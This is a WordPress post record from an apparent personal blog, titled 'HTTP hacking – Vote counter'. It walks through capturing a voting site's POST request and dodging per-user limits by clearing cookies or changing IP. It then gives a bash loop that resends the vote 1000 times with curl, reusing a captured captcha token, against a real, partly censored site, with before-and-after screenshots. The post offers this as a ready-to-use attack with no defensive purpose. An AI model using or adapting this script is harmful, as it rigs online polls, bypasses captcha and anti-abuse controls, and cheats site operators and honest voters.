{"id":714,"date":"2017-08-09T15:29:06","date_gmt":"2017-08-09T15:29:06","guid":{"rendered":"http:\/\/www.max-sperling.bplaced.net\/?p=714"},"modified":"2024-02-16T10:49:32","modified_gmt":"2024-02-16T10:49:32","slug":"http-hacking-vote-counter-example-1","status":"publish","type":"post","link":"http:\/\/www.max-sperling.bplaced.net\/?p=714","title":{"rendered":"HTTP hacking &#8211; Vote counter (Example 1)"},"content":{"rendered":"<p><strong>1. Scan the traffic<\/strong><\/p>\n<p>Just capture the network traffic while simulate one sequence of voting. Possible tools you can use are Wireshark, Fiddler or Postman (used here). Normally the website will give you a cookie and\/or save your IP to forbid another vote. If something went wrong with the sniffing just delete the cookie and\/or change your IP. The important POST is happening after you pressed the submit button.<\/p>\n<p><a href=\"http:\/\/www.max-sperling.bplaced.net\/wp-content\/uploads\/2017\/08\/Captured_Post.png\"><img decoding=\"async\" src=\"http:\/\/www.max-sperling.bplaced.net\/wp-content\/uploads\/2017\/08\/Captured_Post.png\" class=\"aligncenter\" \/><\/a><\/p>\n<hr>\n<p><strong>2. Write a script<\/strong><\/p>\n<p>After you have found the POST of interest you can write a script which sends this POST to the server over and over again. \ud83d\ude42 You don&#8217;t need to send all the parameter as seen in the capture, just skip the unnecessary ones.<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nURL=https:\/\/clubs.star.de\/&lt;censored&gt;;\r\n\r\nPAR1=&quot;form_id=project_voting_form&quot;;\r\nPAR2=&quot;form_build_id=&quot;;\r\nPAR3=&quot;captcha_sid=1135309&quot;;\r\nPAR4=&quot;captcha_token=3502f03e7930342a9ecc5f21e73692c1&quot;;\r\nPAR5=&quot;captcha_response=&quot;;\r\nPAR=&quot;${PAR1}&amp;${PAR2}&amp;${PAR3}&amp;${PAR4}&amp;${PAR5}&quot;;\r\n\r\nfor ((i=1; i&lt;=1000; i++));\r\ndo\r\n    curl --data $PAR $URL;        \r\ndone\r\n<\/pre>\n<hr>\n<p><strong>3. Execute the script<\/strong><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.max-sperling.bplaced.net\/wp-content\/uploads\/2017\/08\/Before_the_Script.png\" class=\"aligncenter\" \/><\/p>\n<p class=\"aligncenter\">Before the Script<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.max-sperling.bplaced.net\/wp-content\/uploads\/2017\/08\/After_the_Script.png\" class=\"aligncenter\" \/><\/p>\n<p class=\"aligncenter\">After the Script<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. Scan the traffic Just capture the network traffic while simulate one sequence of voting. Possible tools you can use<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false},"categories":[26,55],"tags":[],"_links":{"self":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/714"}],"collection":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=714"}],"version-history":[{"count":1,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/714\/revisions"}],"predecessor-version":[{"id":16843,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/714\/revisions\/16843"}],"wp:attachment":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=714"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=714"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=714"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}